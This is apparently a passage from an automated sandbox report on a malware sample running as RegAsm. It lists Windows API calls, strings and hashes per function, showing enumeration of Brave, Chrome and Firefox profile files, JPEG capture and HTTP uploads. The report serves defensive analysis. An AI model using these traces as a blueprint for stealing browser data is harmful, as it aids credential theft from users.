GetProcAddress.KERNEL32(75290000,014FA648), ref: 00419B3B
GetProcAddress.KERNEL32(75BD0000,014FA738), ref: 00419B5D
GetProcAddress.KERNEL32(75450000,014F2600), ref: 00419B7E
GetProcAddress.KERNEL32(76E90000,014F2F40), ref: 00419B9F
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 6C3535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C3DF688,00001000), ref: 6C3535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C3535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C35363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C35369F
__aulldiv.LIBCMT ref: 6C3536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C353773
EnterCriticalSection.KERNEL32(6C3DF688), ref: 6C35377E
LeaveCriticalSection.KERNEL32(6C3DF688), ref: 6C3537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C3537C4
EnterCriticalSection.KERNEL32(6C3DF688), ref: 6C3537CB
LeaveCriticalSection.KERNEL32(6C3DF688), ref: 6C353801
__aulldiv.LIBCMT ref: 6C353883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C353902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C353918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C35394C

Strings

AuthcAMDenti, xrefs: 6C353946
GenuntelineI, xrefs: 6C353639
MOZ_TIMESTAMP_MODE, xrefs: 6C3535DB
QPC, xrefs: 6C3538FC
GTC, xrefs: 6C353912

Memory Dump Source

Source File: 00000003.00000002.1877528782.000000006C351000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C350000, based on PE: true

Associated: 00000003.00000002.1877500933.000000006C350000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877795074.000000006C3CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877916043.000000006C3DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1877943036.000000006C3E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c350000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 2ee9510e9930cd7f545d1950eb8063af3fbbd06d817e26691dab068ec28d6052
Instruction ID: 475c08dffade0ad696c1495650d7a080e3cbce0f2b54eb13bc1b4a1a5c4e3478
Opcode Fuzzy Hash: 2ee9510e9930cd7f545d1950eb8063af3fbbd06d817e26691dab068ec28d6052
Instruction Fuzzy Hash: 8CB182B1B053109BDB08DF28D884A1ABBF9AB8E704F05892DF899D7790D774A9048F91

Function 0040BE70 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

\Brave\Preferences, xrefs: 0040C1DB
Preferences, xrefs: 0040C11E
Google Chrome, xrefs: 0040C634
Brave, xrefs: 0040C102

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 00414910 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149A4
%s\*, xrefs: 00414920
%s\%s, xrefs: 004149FB

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00419010 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0041906C

Strings

image/jpeg, xrefs: 00419136

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: d2d97f149455d52a142a4a5a9fee1aff0f128d9dd92e2b14736a525e33f1e636
Instruction ID: d6dc09ab2bfedf2d54b470b914d8c7211c5e4dd185e8bb692af35d1d417654b8
Opcode Fuzzy Hash: d2d97f149455d52a142a4a5a9fee1aff0f128d9dd92e2b14736a525e33f1e636
Instruction Fuzzy Hash: 7D711B75A40208BBDB04EFE4DC99FEEB7B9FB48300F108509F515A7290DB38A945CB65

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,01502750), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,01502860), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,015027E0,?,01502088,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

------, xrefs: 00404C69
------, xrefs: 00404B28
", xrefs: 00404BF2
------, xrefs: 004049BD
", xrefs: 00404D33

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00413F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0041406C
FindClose.KERNEL32(000000FF), ref: 00414081

Strings

%s\%s, xrefs: 00413EB7

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction ID: d668781d41669175768d5c9beeab67687ce79b442868c28804f29fd14ebf2a74
Opcode Fuzzy Hash: 9a6d8ff04c8e49de142037fd75e625a17c3b1aefdbb2205979b39302d75946f2
Instruction Fuzzy Hash: 475173B6910218BBCB24FBB0DC85FEA737DBB48304F40458DB61996180EB79DB858F95

Function 0040F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215B8,00420D96), ref: 0040F71E
StrCmpCA.SHLWAPI(?,004215BC), ref: 0040F76F
StrCmpCA.SHLWAPI(?,004215C0), ref: 0040F785
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040FAB1
FindClose.KERNEL32(000000FF), ref: 0040FAC3

Strings

prefs.js, xrefs: 0040F812

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction ID: 03b4e3240ed1b335229faca8164051f94e7388f89c5e809ad56520da5e6b4575
Opcode Fuzzy Hash: 02161ce0517172eec517e03f66e4530c266b6de62227eb6e2a5cc7ca8d77dd32
Instruction Fuzzy Hash: B0B194719011089BCB24FF61DD51FEE7379AF54304F4081BEA40A96191EF389B9ACF9A

Function 0040DA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004214B0,00420C2A), ref: 0040DAEB
StrCmpCA.SHLWAPI(?,004214B4), ref: 0040DB33
StrCmpCA.SHLWAPI(?,004214B8), ref: 0040DB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DDCC
FindClose.KERNEL32(000000FF), ref: 0040DDDE

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
